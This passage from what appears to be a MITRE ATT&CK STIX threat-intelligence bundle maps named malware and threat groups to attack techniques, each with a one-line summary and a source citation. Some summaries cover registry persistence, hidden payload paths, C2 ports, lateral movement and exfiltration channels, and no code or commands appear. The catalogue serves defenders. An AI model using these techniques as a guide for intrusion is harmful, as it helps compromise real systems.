            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-18T16:05:39.970Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--d2638428-d31e-4ea4-80e1-26c9c25472d6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POORAIM](https://attack.mitre.org/software/S0216) can enumerate processes.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-20T21:24:11.221Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--6c71a59f-05e6-44cc-ace5-33200e1f0846",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Agent.btz](https://attack.mitre.org/software/S0092) obtains the victim username and saves it to a file.(Citation: ThreatExpert Agent.btz)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ThreatExpert Agent.btz",
                    "description": "Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.",
                    "url": "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html"
                }
            ],
            "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-11T17:45:18.411Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c612eb88-d7e0-46cc-a9bc-d0da2977ff00",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[USBStealer](https://attack.mitre.org/software/S0136) drops commands for a second victim onto a removable media drive inserted into the first victim, and commands are executed when the drive is inserted into the second victim.(Citation: ESET Sednit USBStealer 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
                    "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
                }
            ],
            "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef",
            "type": "relationship",
            "modified": "2020-03-11T17:45:54.140Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--720cc0d6-9285-425b-bda2-3bdd59b4ea8f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Volgmer](https://attack.mitre.org/software/S0180) can download remote files and additional payloads to the victim's machine.(Citation: US-CERT Volgmer Nov 2017)(Citation: US-CERT Volgmer 2 Nov 2017)(Citation: Symantec Volgmer Aug 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Volgmer Nov 2017",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
                },
                {
                    "source_name": "US-CERT Volgmer 2 Nov 2017",
                    "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"
                },
                {
                    "source_name": "Symantec Volgmer Aug 2014",
                    "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-10-15T22:51:03.060Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--b703258a-ea4b-4778-9b98-b053bd16a959",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [ZeroT](https://attack.mitre.org/software/S0230) DLL files have been packed with UPX.(Citation: Proofpoint ZeroT Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint ZeroT Feb 2017",
                    "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
                }
            ],
            "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "type": "relationship",
            "modified": "2020-03-17T02:54:39.757Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--1d5e0da2-7741-4a31-9c54-cbbe584fe27b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52",
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "(Citation: Mandiant APT1)",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.428Z",
            "created": "2017-05-31T21:33:27.037Z"
        },
        {
            "id": "relationship--573e7f53-26e9-4eae-af0e-308d11192f57",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "APIs and strings in some [TYPEFRAME](https://attack.mitre.org/software/S0263) variants are RC4 encrypted. Another variant is encoded with XOR.(Citation: US-CERT TYPEFRAME June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TYPEFRAME June 2018",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
                }
            ],
            "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T13:49:31.238Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--595be2e7-9f2a-4d5a-b23d-8e4822ae6199",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has exfiltrated files stolen from file shares.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c",
            "type": "relationship",
            "modified": "2019-03-22T19:57:37.380Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--234dc427-cce0-45d5-9971-02890aff608d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[yty](https://attack.mitre.org/software/S0248) communicates to the C2 server by retrieving a Google Doc.(Citation: ASERT Donot March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/",
                    "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.",
                    "source_name": "ASERT Donot March 2018"
                }
            ],
            "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-03-20T21:32:05.934Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--75c3b5f6-a0ca-4afc-baad-ef19ed4317b3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                },
                {
                    "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/",
                    "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.",
                    "source_name": "Nccgroup Emissary Panda May 2018"
                }
            ],
            "description": "(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)",
            "type": "relationship",
            "modified": "2021-03-29T19:43:26.868Z",
            "created": "2017-05-31T21:33:27.063Z"
        },
        {
            "id": "relationship--bdee01a7-16cb-417e-8d9b-c98afd445bbc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Adversaries can instruct [Duqu](https://attack.mitre.org/software/S0038) to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf",
                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:33:24.065Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--100f4917-1702-4707-bd9f-58d471e77018",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[More_eggs](https://attack.mitre.org/software/S0284) has the capability to gather the OS version and computer name.(Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                },
                {
                    "source_name": "Security Intelligence More Eggs Aug 2019",
                    "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/",
                    "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."
                }
            ],
            "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-09-16T19:41:10.250Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0f5d3626-1dc2-4ebe-ba37-3f86ab0df9ec",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Rover](https://attack.mitre.org/software/S0090) persists by creating a Registry entry in <code>HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\</code>.(Citation: Palo Alto Rover)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Rover",
                    "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"
                }
            ],
            "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-16T17:46:07.792Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c1421d39-cb5d-4bac-a931-9c641066c0fd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sykipot](https://attack.mitre.org/software/S0018) has been known to establish persistence by adding programs to the Run Registry key.(Citation: Blasco 2013)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments",
                    "description": "Blasco, J. (2013, March 21). New Sykipot developments &#91;Blog&#93;. Retrieved November 12, 2014.",
                    "source_name": "Blasco 2013"
                }
            ],
            "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-18T20:46:32.462Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--da1a5240-bbd7-4e91-9dee-9b14df6cffe2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "One variant of [BlackEnergy](https://attack.mitre.org/software/S0089) locates existing driver services that have been disabled and drops its driver component into one of those service's paths, replacing the legitimate executable. The malware then sets the hijacked service to start automatically to establish persistence.(Citation: F-Secure BlackEnergy 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "source_name": "F-Secure BlackEnergy 2014"
                }
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd",
            "type": "relationship",
            "modified": "2020-06-02T16:14:00.608Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9064fd2e-4e0a-44e4-8bde-6e6c4cf8495f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--61d02387-351a-453e-a575-160a9abc3e04",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300",
            "type": "relationship",
            "modified": "2020-01-24T18:26:19.215Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e64a09d0-4205-4aca-8acb-f6926233d107",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information about the paths, size, and creation time of files with specific file extensions, but not the actual content of the file.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-07-26T20:45:14.568Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f5acb12e-6d83-4628-9b1d-61f277a699b2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Komplex](https://attack.mitre.org/software/S0162) payload is stored in a hidden directory at <code>/Users/Shared/.local/kextd</code>.(Citation: Sofacy Komplex Trojan)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                }
            ],
            "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "type": "relationship",
            "modified": "2020-01-17T19:50:01.373Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0df8e968-716a-4de9-9669-862af62d6eb6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SslMM](https://attack.mitre.org/software/S0058) sends the logged-on username to its hard-coded C2.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-04-25T02:48:47.517Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--52278e18-f8b3-4bf1-a5d3-ac819ccfd301",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DOGCALL](https://attack.mitre.org/software/S0213) is capable of logging keystrokes.(Citation: FireEye APT37 Feb 2018)(Citation: Unit 42 Nokki Oct 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "source_name": "FireEye APT37 Feb 2018"
                },
                {
                    "source_name": "Unit 42 Nokki Oct 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/",
                    "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."
                }
            ],
            "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:43:12.192Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--396877b9-7276-4384-8475-38f7100d3380",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) uses port 52100 and 5876 for C2 communications.(Citation: ASERT InnaputRAT April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ASERT InnaputRAT April 2018",
                    "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.",
                    "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0"
        },
        {
            "id": "relationship--f7ded6a1-043e-437a-8a0c-00ded73e5289",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Nerex](https://attack.mitre.org/software/S0210) creates a Registry subkey that registers a new service.(Citation: Symantec Nerex May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Nerex May 2012",
                    "description": "Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4"
        },
        {
            "id": "relationship--0d3e115b-ff08-4bff-8802-be3d21cec68f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Prikormka](https://attack.mitre.org/software/S0113) encrypts some C2 traffic with the Blowfish cipher.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-21T00:18:56.370Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2c09a27c-2eea-4287-9908-964533234e71",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[cmd](https://attack.mitre.org/software/S0106) can be used to find files and directories with native functionality such as <code>dir</code> commands.(Citation: TechNet Dir)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TechNet Dir",
                    "description": "Microsoft. (n.d.). Dir. Retrieved April 18, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc755121.aspx"
                }
            ],
            "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T19:12:13.054Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html",
                    "source_name": "Talos Agent Tesla Oct 2018"
                },
                {
                    "source_name": "Bitdefender Agent Tesla April 2020",
                    "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/",
                    "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."
                },
                {
                    "source_name": "SentinelLabs Agent Tesla Aug 2020",
                    "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/",
                    "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has routines for exfiltration over SMTP, FTP, and HTTP.(Citation: Talos Agent Tesla Oct 2018)(Citation: Bitdefender Agent Tesla April 2020)(Citation: SentinelLabs Agent Tesla Aug 2020)",
            "id": "relationship--60c1b489-f1fc-4568-aba0-54e932715abc",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "type": "relationship",
            "modified": "2020-12-11T22:07:41.518Z",
            "created": "2019-01-29T18:44:05.077Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
                    "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
                    "source_name": "PaloAlto UBoatRAT Nov 2017"
                }
            ],
            "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) uses ports 80 and 443 for C2 communications.(Citation: PaloAlto UBoatRAT Nov 2017)",
            "id": "relationship--263d83dc-b78f-42de-8518-6d1456c01b90",
            "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-04-19T15:10:04.409Z",
            "created": "2019-01-29T19:09:26.707Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
